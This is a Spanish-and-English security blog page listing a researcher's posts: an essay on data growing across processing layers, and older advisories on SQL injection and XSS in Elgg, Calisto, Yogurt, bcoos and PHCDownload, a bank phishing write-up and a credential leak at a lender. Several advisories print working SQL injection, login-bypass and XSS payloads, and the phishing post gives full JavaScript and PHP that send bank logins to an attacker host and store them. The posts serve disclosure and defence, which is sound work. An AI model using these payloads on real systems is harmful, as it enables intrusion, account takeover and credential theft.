Showing posts with label SQL. Show all posts
Showing posts with label SQL. Show all posts

Structured Text Amplification (STA)

Tuesday, June 23, 2026
Structured Text Amplification (STA)
cuando un texto pequeño se convierte en un problema grande

El fenómeno que puede hacer que un simple mensaje, enlace o dato estructurado termine desestabilizando un sistema.

Introducción

¿Cómo puede un texto aparentemente inocente provocar que una aplicación deje de responder o incluso afectar a la estabilidad de un sistema entero?

La respuesta no siempre está en el tamaño del texto original, sino en lo que ocurre durante su recorrido por las capas internas del software. Un fenómeno que denomino Structured Text Amplification (STA) describe precisamente cómo determinados datos pueden crecer progresivamente al ser procesados, hasta superar límites que originalmente parecían muy lejanos.

Aunque hablamos de "texto", este fenómeno no se limita al texto plano. Puede producirse con cualquier información que atraviese múltiples capas de procesamiento: URLs, metadatos, estados de aplicaciones, formularios, mensajes o estructuras de datos complejas.

¿Qué es la Amplificación de Texto Estructurado?

La Amplificación de Texto Estructurado (Structured Text Amplification o STA) es un fenómeno que puede producirse cuando un dato atraviesa múltiples capas internas de una aplicación o de un sistema operativo. Durante ese recorrido, la información original puede aumentar significativamente de tamaño debido a procesos como la codificación, serialización, empaquetado, almacenamiento de estados o incorporación de metadatos.

En determinadas circunstancias, ese crecimiento acumulado puede provocar que los datos finales superen límites internos establecidos por el sistema para transportar, almacenar o procesar información. Cuando esto ocurre, pueden aparecer errores, bloqueos o problemas de estabilidad.

📌 Idea clave: No se trata necesariamente de un fallo aislado en una aplicación concreta, sino de un patrón arquitectónico que puede surgir cuando múltiples componentes procesan la misma información sin considerar el tamaño final que alcanzará tras todas las transformaciones.

¿Por qué ocurre?

Los sistemas modernos intercambian constantemente información entre procesos, servicios y componentes internos. Cada vez que un dato atraviesa una de estas capas, pueden realizarse operaciones como:

  • Conversión a formatos internos.
  • Codificación de caracteres.
  • Inclusión de metadatos.
  • Serialización para transporte o almacenamiento.
  • Empaquetado dentro de estructuras más complejas.
  • Conservación de estados para recuperación posterior.

Cada una de estas operaciones añade información adicional. Por separado, este crecimiento suele ser insignificante. Sin embargo, cuando múltiples capas realizan transformaciones sucesivas sobre los mismos datos, el tamaño total puede aumentar de forma considerable.

El problema aparece cuando cada componente valida únicamente el tamaño de los datos que recibe, mientras que ninguno evalúa el tamaño real que alcanzarán después de todas las transformaciones posteriores.

Un ejemplo sencillo

Imagina que quieres enviar una carta.

Primero introduces la hoja en un sobre. Después colocas ese sobre dentro de una caja para protegerlo. Más tarde, la caja se introduce dentro de otra mayor junto con documentación adicional. Finalmente, todo el conjunto se empaqueta para el transporte.

La carta original apenas ocupaba espacio, pero el paquete final resulta mucho más grande que el contenido inicial. La Amplificación de Texto Estructurado funciona de forma similar: el dato original puede ser relativamente pequeño, pero cada capa añade información hasta que el tamaño final supera las capacidades previstas por el sistema.

El factor de amplificación

Uno de los aspectos más importantes de este fenómeno es que el riesgo no depende únicamente del tamaño inicial. Un contenido aparentemente razonable puede experimentar múltiples expansiones sucesivas durante su procesamiento.

El resultado es un factor de amplificación acumulado que multiplica el tamaño efectivo de los datos. Por este motivo, el problema puede pasar desapercibido durante las validaciones iniciales. Cada componente observa únicamente una parte del proceso y puede considerar que el contenido es aceptable, mientras que el tamaño total continúa creciendo en etapas posteriores.

⚠️ En otras palabras: el riesgo no reside necesariamente en un dato grande, sino en un dato capaz de crecer mucho más de lo que parece.

¿Qué impacto puede tener?

Cuando el tamaño final supera determinados límites internos, pueden producirse distintos efectos:

  • Cierre inesperado de aplicaciones.
  • Pérdida temporal de funcionalidad.
  • Congelaciones o ralentizaciones importantes.
  • Errores durante la restauración de estados guardados.
  • Reinicios de componentes compartidos.
  • Fallos persistentes si el estado problemático queda almacenado y vuelve a cargarse posteriormente.

La gravedad depende de la arquitectura concreta, del componente afectado y de la forma en que el sistema gestione los errores.

¿Es un problema de seguridad? En determinados escenarios, sí.

Cuando un actor puede provocar deliberadamente que una aplicación o un componente alcance límites internos de procesamiento, almacenamiento o comunicación, el fenómeno puede convertirse en una vulnerabilidad de disponibilidad o denegación de servicio (DoS).

En estos casos, el objetivo no es acceder a información privada ni ejecutar código arbitrario, sino impedir que un servicio funcione correctamente o degradar significativamente su funcionamiento.

ℹ️ Relevancia: La importancia de este tipo de problemas aumenta cuando los mecanismos afectados son compartidos por múltiples aplicaciones o forman parte de componentes fundamentales del sistema operativo.

En algunos escenarios, basta con que un usuario interactúe con contenido especialmente diseñado para desencadenar estas amplificaciones acumulativas.

¿Por qué es difícil detectarlo?

La detección resulta especialmente compleja porque el dato original puede parecer completamente normal. Los mecanismos de validación suelen centrarse en el tamaño visible de la entrada, mientras que la amplificación aparece durante etapas internas de procesamiento.

Además, diferentes capas pueden utilizar representaciones distintas del mismo contenido, dificultando estimar cuál será el tamaño real una vez completado todo el recorrido. Como consecuencia, los controles pueden considerar seguro un contenido que terminará superando límites críticos varios pasos después.

¿Cómo puede mitigarse?

Existen diversas estrategias para reducir el riesgo:

  • Validar el tamaño después de las transformaciones críticas.
  • Establecer límites de seguridad conservadores.
  • Truncar o rechazar contenidos que puedan generar expansiones excesivas.
  • Gestionar adecuadamente los errores cuando se alcanzan límites internos.
  • Diseñar mecanismos de recuperación robustos.
  • Monitorizar el crecimiento de estructuras complejas durante su procesamiento.

Aunque las aplicaciones pueden adoptar medidas defensivas, muchas de las mitigaciones más eficaces requieren cambios en los propios mecanismos internos de las plataformas y sistemas operativos.

Conclusión

La Amplificación de Texto Estructurado (STA) describe un fenómeno por el cual un dato puede crecer significativamente de tamaño al atravesar múltiples capas de procesamiento dentro de una aplicación o sistema operativo.

El riesgo no proviene únicamente del tamaño inicial del contenido, sino de la suma de todas las transformaciones que se producen durante su recorrido. Cuando ese crecimiento acumulado supera los límites previstos por la plataforma, pueden aparecer problemas de estabilidad, errores de funcionamiento o vulnerabilidades de disponibilidad.

Aunque la mayoría de los usuarios nunca verán estos mecanismos internos, comprender cómo se producen estas amplificaciones permite identificar una categoría de fallos que suele pasar desapercibida durante el desarrollo. A medida que los sistemas modernos se vuelven más complejos y dependen de cadenas cada vez más largas de procesamiento, la gestión del crecimiento acumulado de los datos se convierte en un aspecto esencial para garantizar su robustez y resiliencia.

Parte de mi trabajo reciente en el análisis de vulnerabilidades móviles se ha centrado precisamente en este tipo de comportamientos emergentes, donde el problema no reside en un único componente defectuoso, sino en la interacción entre múltiples capas que, individualmente, parecen funcionar correctamente.

Atentamente,

Manuel Garcia Peña (Lostmon)

lostmon@gmail.com

https://lostmon.blogspot.com

#Lostmon #Android #AOSP #Ciberseguridad #MobileSecurity #SystemUI #libminikin #STA #StructuredTextAmplification #BugBounty #GoogleVRP #Xiaomi #HackerOne #SaludMental #InvestigaciónIndependiente #BojosXtu
Manuel Garcia Peña (Lostmon)
Investigador independiente · lostmon@gmail.com
Blog: lostmon.blogspot.com

Elgg 1.8 beta2 and prior to 1.7.11 'container_guid' and 'owner_guid' SQL Injection

Monday, August 15, 2011
##################################################
Elgg 1.8 beta2 and prior to 1.7.11 'container_guid' and 'owner_guid' SQL Injection
Vendor URL: http://www.elgg.org/
Advisore: http://lostmon.blogspot.com/2011/08/elgg-18-beta2-and-prior-to-1711.html
Vendor notify: YES exploit available: YES
##################################################

###################
Description By vendor
###################

Elgg is an award-winning social networking engine, delivering
the building blocks that enable businesses, schools, universities
and associations to create their own fully-featured social networks
and applications. Organizations with networks powered by Elgg
include: Australian Government, British Government, Federal Canadian
Government, MITRE, The World Bank, UNESCO, NASA, Stanford University,
Johns Hopkins University and more (http://elgg.org/powering.php)


######################
Vulnerability Description
######################

Elgg contains a flaw that may allow an attacker to carry out an
SQL injection attack. The issue is due to the script not properly
sanitizing user-supplied input to 'container_guid' and 'owner_guid'
variables upon submision to 'mod/search/pages/search/index.php'
This may allow an attacker to inject or manipulate SQL queries
in the backend database.

################
Versions afected
################

Elgg 1.8 beta2 vulnerable
Elgg 1.7.10 and prior versions vulnerables
Elgg 1.7.11 not vulnerable

#################
Tecnical details
#################

Injection type is Integer and it only can be exploit via
Mysql error based injection method, it works with
'magic_quotes_gpc' set to 'on' or 'off'


######################
Proof Of Concept
######################

If you know what is error based injection... you know how to use it ;)

URL => http://localhost/elgg/search/?q=someword&search_type=tags&container_guid=7826'

Injections:

and(select 1 from(select count(*),concat((select (select %column_name%) from
`information_schema`.tables limit 0,1),floor(rand(0)*2))x from
`information_schema`.tables
group by x)a) and 1=1

Count(table_name) of information_schema.tables where
table_schema=0x74657374 is 75

Count(column_name) of information_schema.columns where
table_schema=0x74657374 and table_name=0x62616E6C697374 is 4

################
Solution
###############

The vendor has release a updated version to solve this
issue and others see changelog and update your Elgg
instalation to 1.7.11


###############
Timeline
###############

Discovered :July 30, 2011
Vendor Notify:July 30, 2011
Vendor response:July 30, 2011
Vendor Patch: August 15, 2011
Public Disclosure: August 15, 2011

########################## €nd ########################

Atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Calisto light, light plus and full, Sql Injection And user or Admin bypass

Thursday, August 11, 2011
##################################################
Calisto light, light plus and full, Sql Injection And user or Admin bypass
Vendor URL: http://www.calistosoft.com.ar/
Advisore: http://lostmon.blogspot.com/2011/08/calisto-light-light-plus-and-full-sql.html
Vendor notify: YES exploit available: YES
##################################################


##########################
Vulnerability Description
##########################

Calisto Light, Light Plus and Full contains a flaw that may
allow an attacker to carry out an SQL injection attack. The
issue is due to the script not properly sanitizing user-supplied
input to 'usuario' form field and "txtEmail' param upon submision
to 'login.aspx' and '/admin/loginAdmin.aspx' This may allow an
attacker to inject or manipulate SQL queries in the backend database.
#################
UPDATE 14/08/2011
#################

Detalle.aspx, Oferta.aspx, Categoria.aspx, contacto.aspx,
marca.aspx, novedades.aspx, empresa.aspx FAQ.aspx and Registracion.aspx
are afected by this flaw too.

################
Versions afected
################

Calisto Light
Calisto Light plus
Calisto Full

######################
Proof Of Concept
######################

this issue can be used to bypass admin validation or user validation

1- If an attacker writes in 'Usuario' box:

someword'or'1'='1'
and click in login button. wen the aplication post to 'login.aspx'
it shows a nice SQL warning but if write:

someword'or'1'='1'--

it bypass validation. if anyones know a user email, then he can
log as this user :)

2- If an attacker writes in 'usuario' box from admin section:

Admin'or'1'='1'--

And click in login button wen the aplication post to
'/admin/loginAdmin.aspx' it bypass Admin validation. :)


################
Solution
###############

No solution was available at this time.
I have send four emails to calistosoft via his webform
and info and support mails to get initial contact but
they haven't respond :(

###############
Timeline
###############

Discovered : 30-07-2011
Vendor Notify: 7-08-2011
Vendor response: no response.
Workarround patch: no patch
Vendor Patch: no patch
Public Disclosure: 11-08-2011

########################## €nd ########################

Atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Cofidis.es pudo ver sus datos comprometidos

Thursday, October 15, 2009
###########################################
Cofidis.es pudo ver sus datos comprometidos
Vendor: www.cofidis.es
Falla: cedenciales criticas al descubierto
Actualizado:13-02-2010
###########################################
 
Cofidis es una empresa formada por varios grupos de
crédito que agrupan diferentes servicios dentro del
panorama de finanzas mundiales.

La definición según podemos leer en su web:
"Somos líderes europeos del crédito por teléfono:
tenemos más de 8 millones de clientes. En España, Ya
contamos con más de 15 años de experiencia y un equipo
de más de 800 colaboradores."

Cofidis.es pudo verse afectado por un fallo atraves del
cual podrían terceras personas haber podido tener acceso
a datos de carácter personal, al haber dejado al descubierto
las credenciales de acceso root al portal y así mismo al dejar
al descubierto las credenciales de acceso a la base de datos
del portal.

Para hacernos una idea de qué tipo de datos pueden haber sido
vistos o "robados" por terceros, tan solo debemos mirar uno de
los formularios de solicitud de crédito, y por los datos que
se nos piden se puede saber qué tipo de datos podría contener
la base de datos.
https://www.espaciocliente.cofidis.es/cofidis/preapprove/PreApproveContractDisplayAction.do

Esta noticia Llego a mí, después observar un post en Twitter
en el cual se daba una url del portal Cofidis.es y el acceso
a un txt sin ningún tipo de protección, y el cual contenía
las credenciales antes mencionadas.

Después de observar esta situación, y hablado con algunos de
los miembros del grupo de discusión e investigación, decidimos
mirar desde cuando podía haberse dado esta circunstancia y el
posible origen de la noticia. Haciendo una búsqueda rápida en
los motores de búsqueda habituales
##################
Actualizacion
##################

al parecer la primera noticia sobre
esta circunstlancia podria ser este post
en un blog en el cual se habla del tema
sin revelar en si las direcciones directas.
Los Post de twiter habrian podido sacar la
informacion para sus post

el post es del dia 11-10-2009

http://86400.es/2009/10/11/
la-seguridad-de-los-que-manejan-nuestro-dinero/

#################################

Llegamos a un Post en twitter del día 12-10-2009.


Y uno posterior del día 13-10-2009.

y otro mas el dia 13-10-2009


El día 14-10-2009 por la tarde el txt que contenía estas
credenciales fue retirado del raíz del portal cofidis.es
Con lo cual se puede pensar que esos datos tan sensibles
pudieron estar al alcance de todo el mundo durante al
menos tres días.

Google muestra en su cache, una imagen de dicho documento
con fecha Del día 13-10-2009 mostrando las credenciales

http://209.85.229.132/search?q=cache:nrpZAY7spqYJ:www.cofidis.es/xxxxx.txt+http://www.cofidis.es/xxxx.txt&cd=8&hl=es&ct=clnk&gl=es


Pero esta sería la fecha en la cual google tomo esa instantánea
de ese documento, pudiendo haber reemplazado a una anterior eso
Los logs del servidor de cofidis deberían mostrar cuando fue la
primera vez que el spider de google pudo rastrear ese txt.

Así mismo si realizamos una búsqueda en google por el fichero txt
entre los resultados primeros puede apreciarse que Google también
revela esas credenciales faltaría saber cuando fue incluido en la
Indexación ese archivo, para intentar averiguar desde que fecha se
pudo haberse producido esta situación.

http://www.google.es/search?q=cofidis.txt


Como pudo Un administrador dejar deliberadamente un archivo
con información tan sensible a la vista de cualquier visitante,
se preguntara más de uno.

Seguramente el admin no sabía nada de la existencia de ese
fichero, o eso creemos o queremos creer) Debió ser un hackeo,
por el tipo de fichero generado y su disposición y los datos
que contiene podría haberse tratado de algún agujero de
seguridad en la web , atraves del cual el atacante hubiese
podido incluir algún archivo externo.
(esta vulnerabilidad es conocida como RFI o remote file include)
pues hay algunos scripts de los que corren por la red, que
justamente hacen eso y mirando su fuente se puede observar que
justamente sacan esos datos de la maquina o inyectan una
Shell en php.

Creo que cofidis debería dar explicaciones de este hecho y así
mismo debería verse como le afecta este acontecimiento a cofidis,
ante la LOPD
y que datos han sido comprometidos, no por mi porque por suerte
yo no me encuentro en su base de datos que yo sepa, pues nunca
necesite sus servicios.

Desde el grupo de investigación y desarrollo de Lostmon's
Groups queremos hacer un llamamiento a que las empresas como
cofidis y otras que trabajan con datos personales tan
sensibles y de tanta confidencialidad, deberían invertir
parte de sus beneficios en asegurar que esos datos no estarán
accesibles y deberían hacer lo posible por protegerlos como
se les pide en la LOPD.

Bien es cierto que en seguridad, no hay nada seguro, o que
lo bonito de la seguridad es la inseguridad que trae por si
misma. Y bien es cierto que por mucho que los administradores
pongan énfasis y empeño en asegurar servicios y sistemas,
siempre hay gente, que va por delante de ellos.

Este analisis ha sido realizado por Climbo y por Lostmon

thank to all Lostmon groups team
Thnx to estrella to be my ligth

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

Patch for Yogurt writemessage.php original Parameter SQL Injection

Saturday, June 27, 2009
###################################
Patch for Yogurt writemessage.php
original Parameter SQL Injection
vendor url:http://sourceforge.net/tracker/?group_id=112452
####################################

This is a manual fix for the last discovered sql
injection vulnerability in yogurt social network


#########################
vulnerability references:
#########################

http://osvdb.org/show/osvdb/55098
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-2034
http://www.milw0rm.com/exploits/8932

####################
SQL injection PoC
####################

http://localhost/yogurt/system/writemessage.php?original=
-1+union+select+1,concat_ws(0x3a,username,password),3,4,5,
6,7,8+from+users--

###############
Specific vendor
###############

http://sourceforge.net/tracker/?func=detail&aid=
2813318&group_id=112452&atid=663715

###########
MANUAL FIX
###########

open writemessage.php and look this code =>

Line 79: if (isset($_GET['original']))
Line 81: $rs = mysql_query("SELECT * FROM messages WHERE id=" .
$_GET['original'], $db)

###############
change
################

Line 81: $rs = mysql_query("SELECT * FROM messages WHERE id=" .
intval($_GET['original']), $db)

####################€nd ########################

atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

La banca española ante el phishing

Tuesday, January 06, 2009
##########################################
La banca española ante el phishing
##########################################

Despues del aumento reciente de los casos de phishing sobre
entidades Bancarias españolas,he realizado un pequeño estudio
sobre el estado de esas entidades, de cara al phishing.

Entendemos por phishing , el envio de correos fraudulentos
suplantando la identidad de una entidad bancaria, en el cual se
nos avisa de algun fallo de seguridad u otra informacion, y se
nos insta a visitar una url falsa de la entidad (normalmente
camuflan la direccion real),y una vez visitada, se nos pedira
seguramente , nuestras credenciales para acceder,y de hacerlo,
normalmente esas webs estan preparadas para capturar nuestros
datos de acceso.

Todo esto esta bastante bien explicado aqui :
http://www.microsoft.com/latam/seguridad/hogar/spam/phishing.mspx

Una vez entendido el concepto de phishing, podemos pensar,que
hay que ser muy tonto, para visitar una web que no es la original
del banco y meter , nuestras credenciales.

Normalmente es asi , pero que ocurre si esa url desde donde se
lleva a cabo el ataque de phishing es realmente la original del banco?

En una mirada asi por encima se han detectado once entidades
españolas tanto cajas como bancos afectados.

Si desea saber si su entidad esta afectada, mandeme un mail
y gustosamente le informaremos de si esta usted en el listado
y de estar en el , le serian reportadas las vulnerabilidades
encontradas y su posible solucion o mitigacion.

De todas maneras todas las entidades afectadas,recibiran un mail
avisandoles de esta situacion( a algunas ya se le ha enviado).

Pero esto es irse por las ramas y no destapar el meollo de la
cuestion.. XDDDD

Asi pues si ponemos por caso que la mayoria de web corporativas
de entidades bancarias y financieras son vulnerables a ataques de
tipo XSS o CSRF(links a la wiki), esto aumenta la posibilidad de
realizar ataques de phishing sobre la misma web del banco y hacer
asi mas creibles para los usuarios incautos el engaño.


Como puede un atacante que haya encontrado un agujero de ese
tipo llevar a cabo con exito ese ataque?

Lo expuesto acontinuacion esta escrito a titulo de muestra o
ejemplo no me hago responsable del uso que le puedan dar
usuarios malintencionados.

Esto esta mas bien expuesto como ejemplo para administradores
y webmasters a titulo explicativo de como un atacante puede
realizar este tipo de ataques sobre la misma web y hacer asi
mas creible el engaño.
Un server (seguramente comprometido) para recojer los datos y
hostear los archivos necesarios para el phishing (javascripts).
Algun servidor SMTP con el relay abierto y sin autentificacion
Por si queremos hacer uso de funciones de mail()

En un banco, en la web de autentificacion , normalmente
encontramos un formulario en el cual se nos piden los datos
para poder acceder al manejo de cuentas y demas.

Un ejemplo de formulario podria ser similar a este:

====================

====================
[..]
<form method="POST" action="login.php" name="loginusuarios">
User: <input type="text" name="usuari"><br />
Pass: <input type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
[..]
<!-- EOF -->

si observamos el codigo vemos varios elementos:

- Hay un formulario de acceso llamado "loginusuarios"
- El usuario de texto será "loginusuarios.usuari"
- El paso de texto será "loginusuarios.pass"

Por lo tanto,podriamos crear un java a medida para el sitio
para que añadiera un iframe oculto al cuerpo del documento por
medio de xss y obtener asi los datos introducidos.


Un ejemplo podria ser este:



http://[Entidad_victima]/login.php?variable_vulnerable=
"><script src="http://[Attacker]/phishing.js"></script>

o en alguna de sus codificaciones para disimularlo aun mas:

http://[Entidad Victima]/login.php?variable_vulnerable=%22%3E
%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%
5B%41%74%74%61%63%6B%65%72%5D%2F%70%68%69%73%68%69%6E%67%2E%

6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E



El javascript, se ejecutaria en el contexto de seguridad entre
el server, y el navegador del usuario lejitimo de la web.

====================
/* phishing.js */
===================

//Ponemos el nombre del formulario
Form = document.forms["loginusuarios"];


function OcultarLogin() {
// Creamos un nuevo iframe.
var iframe = document.createElement("iframe");

// Forzamos al iframe a que este escondido
iframe.style.display = "none";

// Cargamos el codigo malicioso en el iframe.
iframe.src = "http://[atacante]/pilla_login.php?user="
+ Form.usuari.value + "&pass=" + Form.pass.value;

// Añadimos el iframe en el cuerpo del documento
document.body.appendChild(iframe);
}
// Cuando el usuario clica en enviar, se nos envia esa inf.
Form.onsubmit = OcultarLogin();

/* EOF */
==========================

Despues necesitamos que esos datos sean recojidos, y para
ello necesitaremos un server donde llevar los POST y un
archivo hosteado preparado para recibirlos y guardarlos o
enviarlos por mail ,como queramos.

====================
/* pilla_login.php */
====================


if(isset($_GET['user']) && isset($_GET['pass'])) {
// Establece el path y abre el archivo logins.txt
$file_path = "logins.txt";
$file = @fopen($file_path, "a");
// genera la cadena
$string = "User: ". $_GET['user'] ." and Pass: ". $_GET['pass'] . "\n";
// Escribe la cadena y cierra el archivo.
@fwrite($file, $string);
@fclose($file);
}

// si ademas queremos enviar los datos capturados por mail =>
// mail("atacante@atacante.es","Otro Pardillo pico","$string");
?>
/* EOF */
=================================

Con lo cual un agujero bien simple como puede ser un
XSS puede convertirse en un ataque sofisticado para
realizar un phishing directo a una entidad Bancaria.

Aun podriamos rizar mas el rizo:

Suponiendo que el usuario victima ,no visite la web, o que
cliquee en otro lado y vaya a otra pagina diferente de donde
se encuentra el formulario de login,podriamos "forzarlo" a
ir a la pagina delogin primero,y antes de que realice ninguna
accion, deba introducir primero los datos de login , para
poder acceder.

Esto seria tambien aun mas creible ya que estariamos efectuando
el phishing directamente desde la web de la entidad y ademas
obligamos al user a hacer login con su propio formulario
de login.

Si modificamos el javascript anterior para que haga lo mismo;
pero que ademas fuerce al usuario,creariamos un segundo iframe.
en un iframe cargaremos el codigo malicioso , y en el otro
cargariamos el formulario de login de la web:

=================================
/* phishing2.js */

Form = document.forms["loginusuarios"];
function forzarLogin() {
var loginiframe = document.createElement("iframe");
var loginiframe.src = "http://[Entidad-victima]/login.php";
document.body.appendChild(loginiframe);
}
function OcultarLogin() {
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = "http://[Atacante]/pilla_login.php?user="
+ Form.usuari.value + "&pass=" + Form.pass.value;
document.body.appendChild(iframe);
}
window.onload = forzarLogin();
Form.onsubmit = OcultarLogin();

/* EOF */
====================================

Aunque todo lo aqui expuesto es un burdo ejemplo,creo que
queda bien reflejado el alcance y que el resultado, es obvio,
aunque en muchos contratos de banca online , se "firma" que
el usuario no hara un mal uso de las credenciales suministradas
...etc.

Ante un ataque real de phishing...el usuario victima,ni se
habra enterado de lo que ha pasado , ya que en si ha sido
el el que legalmente ha introducido sus credenciales en la
web de la entidad y ha sido desde la web misma de la entidad
desde donde han sido robadas esas claves.

Seguramente los webmasters y programadores de los sitios web
de estas caracteristicas, deberian fijarse mas en este tipo
de agujeros a los cuales no se les da mucha importancia.

Muchas veces , Contratan servicios o sistemas ya prediseñados
como pueden ser alguno de los portales de oracle o algun tipo
de CMS como Vignette CMS;Pero ¿No son resposables los equipos
de seguridad logica que poseen las entidades o que subcontratan?
No deberian esos equipos estar al dia en vulnerabilidades sobre
sus sistemas??

La primera medida para poder luchar contra la plaga que
es el phishing deberia ser mantener nuestros sitios libres
de agujeros o al menos revisarlos y no sacar al mercado ,
nada que no haya sido antees testeado a fondo, Pues es
nuestro dinero con el que en se juega.

Despues de este estudio, dire, que me he quedado muy
decepcionado de lo que es la banca online española,
actualmente, son bastantes las entidades que podrian
estar afectadas.

Los usuarios podrian prevenir estas situaciones usando por
ejemplo Internet explorer 8 que lleva un filtro antiXSS,
aunque personalmente me fio mas de la barra de netcraft,
ademas de que puede ser usada en explorer y en firefox
http://toolbar.netcraft.com/

###############################
Enlaces Relacionados y fuentes:
###############################

http://www.siliconnews.es/es/news/2008/09/22/bancos_espanoles_victimas_5_phishing_mundial
http://www.antiphishing.org
http://www.playhack.net/papers/
http://www.microsoft.com/spain/empresas/legal/phishing.mspx
http://www.microsoft.com/latam/seguridad/hogar/spam/phishing.mspx
http://seguridad.internautas.org/html/4428.html

--

atentamente:
Lostmon (Lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group:http://groups.google.com/group/lostmon (new)
--

La curiosidad es lo que hace mover la mente....

bcoos /mysections/ratefile.php lid variable SQL injection

Thursday, February 07, 2008
############################################
bcoos /mysections/ratefile.php lid variable SQL injection
vendor url: http://www.bcoops.net
Advisore: http://lostmon.blogspot.com/2008/02/
bcoos-mysectionsratefilephp-lid.html
vendor notify:NO exploits available: YES
############################################

bcoos is content-community management system written in PHP-MySQL.

bcoops contains a flaw that may allow an attacker to carry out
an SQL injection attack. The issue is due to the script not
properly sanitizing user-supplied input to the 'lid' variable,
and adresses/ratefile.php script.This may allow an attacker to
inject or manipulate SQL queries in the backend database.



#################
Versions:
#################

bcoops =< 1.0.11 vulnerable

#################
Solution:
#################

No solution at this time !!!
Also you can try to edit the source code and
put this code to mitigate 'union' injection:

open modules/mysections/ratefile.php

arround line 76 found this code:

exit();
} else {

you can change for:

exit();
}
if (eregi("%20union%20", $lid) ||eregi(" union ", $lid) || eregi("\*union\*", $lid) || eregi("\+union\+", $lid) || eregi("\*", $lid))
{
echo "<br /><br /><div style=\"text-align: center;\"><big>This SQL injection is patched Now !!!</big></div><br /><br />";
redirect_header("index.php");
die();
}
else {

And now this union sql attack is patched :D

#################
Timeline:
#################

Discovered:31-01-2008
vendor notify:--------
vendor response:-------
disclosure:07-02-2008


#################
SQL intection:
#################


http://localhost/modules/mysections/ratefile.php?lid=
-99%20UNION%20SELECT%20pass%20FROM%20bcoops_users%20LIMIT%201



#######################€nd##############################



Thnx to estrella to be my ligth
Thnx To FalconDeOro for his support
Thnx To Imydes From http://www.imydes.com

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....

XSS Flaw & posible SQL injection in search.php in PHCDownload

Friday, December 28, 2007
###############################################
XSS Flaw & posible SQL injection in PHCDownload
vendor url: http://www.phpcredo.com/
Advisore: http://lostmon.blogspot.com/2007/12/
xss-flaw-posible-sql-injection-in.html
vendor notify:YES exploit available: YES
###############################################

New XSS Flaw & posible SQL injection in search.php

PHCDownload contains a flaw that allows a remote cross site
scripting attack.This flaw exists because the application does
not validate 'string' variable upon submission to 'search.php'
script.

This could allow a user to create a specially crafted URL that
would execute arbitrary code in a user's browser within the
trust relationship between the browser and the server,
leading to a loss of integrity.

verions:

1.1.0 afected.

example :

we can try inject some normal html or javascript code:

Code:

"><h1><a href="http://lostmon.blogspot.com">Lostmon</a> Was Here !!!</h1><br><h1>XSS Pow@ !!!</h1><p><iframe src="http://lostmon.blogspot.com"></iframe></p>

or inject directly the code in hex values :

Code:

%22%3E%3C%68%31%3E%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%4C%6F%73%74%6D%6F%6E%3C%2F%61%3E%20%57%61%73%20%48%65%72%65%20%21%21%21%3C%2F%68%31%3E%3C%62%72%3E%3C%68%31%3E%58%53%53%20%50%6F%77%40%20%21%21%21%3C%2F%68%31%3E%3C%70%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%73%74%6D%6F%6E%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3E%3C%2F%69%66%72%61%6D%65%3E%3C%2F%70%3E
example in hex:

http://localhost/phcdownload/search.php?string=[XSS-CODE]

also this variable is prone vulnerable too to SQL injections.

if we look the source code of search.php arround line 36 we have :

Code:
// Prepare search query
if( $kernel->config['archive_search_mode'] == 1 )
{
$search_syntax = "MATCH( f.file_name, f.file_description, f.file_version, f.file_author ) AGAINST ( '*{$kernel->vars['string']}*' IN BOOLEAN MODE )";
}
else
{
$search_syntax = "MATCH( f.file_name, f.file_description, f.file_version, f.file_author ) AGAINST ( '*{$kernel->vars['string']}*' )";
}
the value of 'string' is inserted directly in the sql query and this could be dangerous...

we can try to disclose the query :

http://localhost/phcdownload/upload/search.php?string='

i make several probes , but i don´t have found a working exploit or a
exploitable angle to this issue , but ...need to be patch

Thnx to estrella to be my ligth
Thnx to all Lostmon´s Group Team

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)

--
La curiosidad es lo que hace mover la mente....
 

Browse

About:Me

My blog:http://lostmon.blogspot.com
Mail:Lostmon@gmail.com
Lostmon Google group
Lostmon@googlegroups.com

La curiosidad es lo que hace
mover la mente...

Friends